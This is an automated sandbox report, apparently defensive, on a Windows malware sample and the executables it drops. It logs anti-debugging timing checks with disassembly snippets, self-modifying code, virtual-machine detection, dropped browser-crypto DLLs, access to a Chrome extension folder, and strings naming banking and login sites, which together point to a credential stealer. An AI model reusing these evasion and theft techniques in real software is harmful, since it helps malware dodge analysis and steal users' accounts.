Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BECFEB second address: BECFF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: BED0EE second address: BED107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DAD4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0BD11 second address: C0BD20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0BD20 second address: C0BD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0BE70 second address: C0BE76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0BE76 second address: C0BE7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C154 second address: C0C178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D9h 0x00000009 jl 00007FB99871C5C6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C178 second address: C0C1C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FB998C5DAD5h 0x0000000a jmp 00007FB998C5DACEh 0x0000000f jmp 00007FB998C5DAD4h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FB998C5DAC6h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C319 second address: C0C353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CDh 0x00000007 jmp 00007FB99871C5D2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FB99871C5D3h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C353 second address: C0C358 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C358 second address: C0C378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C60C second address: C0C611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C611 second address: C0C627 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB99871C5CCh 0x00000008 ja 00007FB99871C5CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C627 second address: C0C639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB998C5DAEEh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C639 second address: C0C63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C880 second address: C0C884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C884 second address: C0C888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C888 second address: C0C899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007FB998C5DAC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C899 second address: C0C89F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C89F second address: C0C8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C8A4 second address: C0C8AE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB99871C5CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C8AE second address: C0C8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB998C5DACDh 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 jbe 00007FB998C5DAC6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C8CD second address: C0C8D7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB99871C5C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C8D7 second address: C0C8F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB998C5DAD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0C8F3 second address: C0C8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0CA34 second address: C0CA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0CA38 second address: C0CA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0CBD0 second address: C0CC2B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB998C5DAECh 0x00000008 jng 00007FB998C5DAD2h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB998C5DAD7h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0CC2B second address: C0CC30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	RDTSC instruction interceptor: First address: C0CD9E second address: C0CDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Special instruction interceptor: First address: 6E7AD6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Special instruction interceptor: First address: 6E7BC7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Special instruction interceptor: First address: 8CE969 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Special instruction interceptor: First address: 92FCB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Special instruction interceptor: First address: C0F914 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Special instruction interceptor: First address: C38AF3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Special instruction interceptor: First address: A6D9E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Special instruction interceptor: First address: CAE3BC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Special instruction interceptor: First address: B7FAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Special instruction interceptor: First address: B7FA97 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Special instruction interceptor: First address: D24750 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Special instruction interceptor: First address: D38001 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Special instruction interceptor: First address: 66EC66 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Special instruction interceptor: First address: 80F32D instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Special instruction interceptor: First address: 80DA9F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Special instruction interceptor: First address: 66C6A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 28EC66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 42F32D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 42DA9F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 28C6A6 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Memory allocated: 4DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Memory allocated: 4F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Memory allocated: 6F90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Code function: 3_2_00BED059 rdtsc

3_2_00BED059

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Code function: 3_2_00C002B0 sidt fword ptr [esp-02h]

3_2_00C002B0

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1532
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 989

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe TID: 4952	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe TID: 3796	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe TID: 2792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 4828	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 2052	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 2052	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 6540	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 6540	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 5716	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 5716	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 3412	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 6196	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 6196	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe TID: 6484	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872	Thread sleep time: -2400000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5028	Thread sleep count: 1532 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5028	Thread sleep count: 989 > 30

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\CGIJECFIEC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Code function: 5_2_6C99EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

5_2_6C99EBF0

Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DZKPIL2C5DR0YB6M.exe, DZKPIL2C5DR0YB6M.exe, 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3067993544.0000000000D06000.00000040.00000001.01000000.00000009.sdmp, CGIJECFIEC.exe, 00000010.00000000.3044134934.00000000007EC000.00000080.00000001.01000000.0000000F.sdmp, CGIJECFIEC.exe, 00000010.00000002.3094116283.00000000007ED000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000000.3067022873.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000011.00000002.3120933950.000000000040D000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000000.3069220729.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3121043853.000000000040D000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000000.3233984994.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000002.3379275427.000000000040D000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001516000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0uT
Source: FBKJDGCG.5.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: FBKJDGCG.5.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: FBKJDGCG.5.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: FBKJDGCG.5.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: skotes.exe, 00000013.00000002.3383017404.0000000000A67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3069325497.0000000000D8F000.00000040.00000001.01000000.00000009.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000000.2491001714.0000000000D06000.00000080.00000001.01000000.00000009.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Binary or memory string: $hgfSf
Source: FBKJDGCG.5.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: uLkHEqZ3u3.exe, uLkHEqZ3u3.exe, 00000000.00000003.2435354753.00000000014D7000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2221054548.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2296923223.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359153899.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198773271.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435131832.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000A9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FBKJDGCG.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: uLkHEqZ3u3.exe, 00000000.00000003.2247809201.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: FBKJDGCG.5.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: FBKJDGCG.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: FBKJDGCG.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: FBKJDGCG.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: FBKJDGCG.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: FBKJDGCG.5.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: FBKJDGCG.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: FBKJDGCG.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: FBKJDGCG.5.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: FBKJDGCG.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: FBKJDGCG.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: FBKJDGCG.5.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3070581641.0000000001544000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: DZKPIL2C5DR0YB6M.exe, 00000003.00000002.2585425207.0000000000BF4000.00000040.00000001.01000000.00000006.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3067993544.0000000000D06000.00000040.00000001.01000000.00000009.sdmp, CGIJECFIEC.exe, 00000010.00000000.3044134934.00000000007EC000.00000080.00000001.01000000.0000000F.sdmp, CGIJECFIEC.exe, 00000010.00000002.3094116283.00000000007ED000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000000.3067022873.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000011.00000002.3120933950.000000000040D000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000000.3069220729.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3121043853.000000000040D000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000000.3233984994.000000000040C000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000002.3379275427.000000000040D000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors 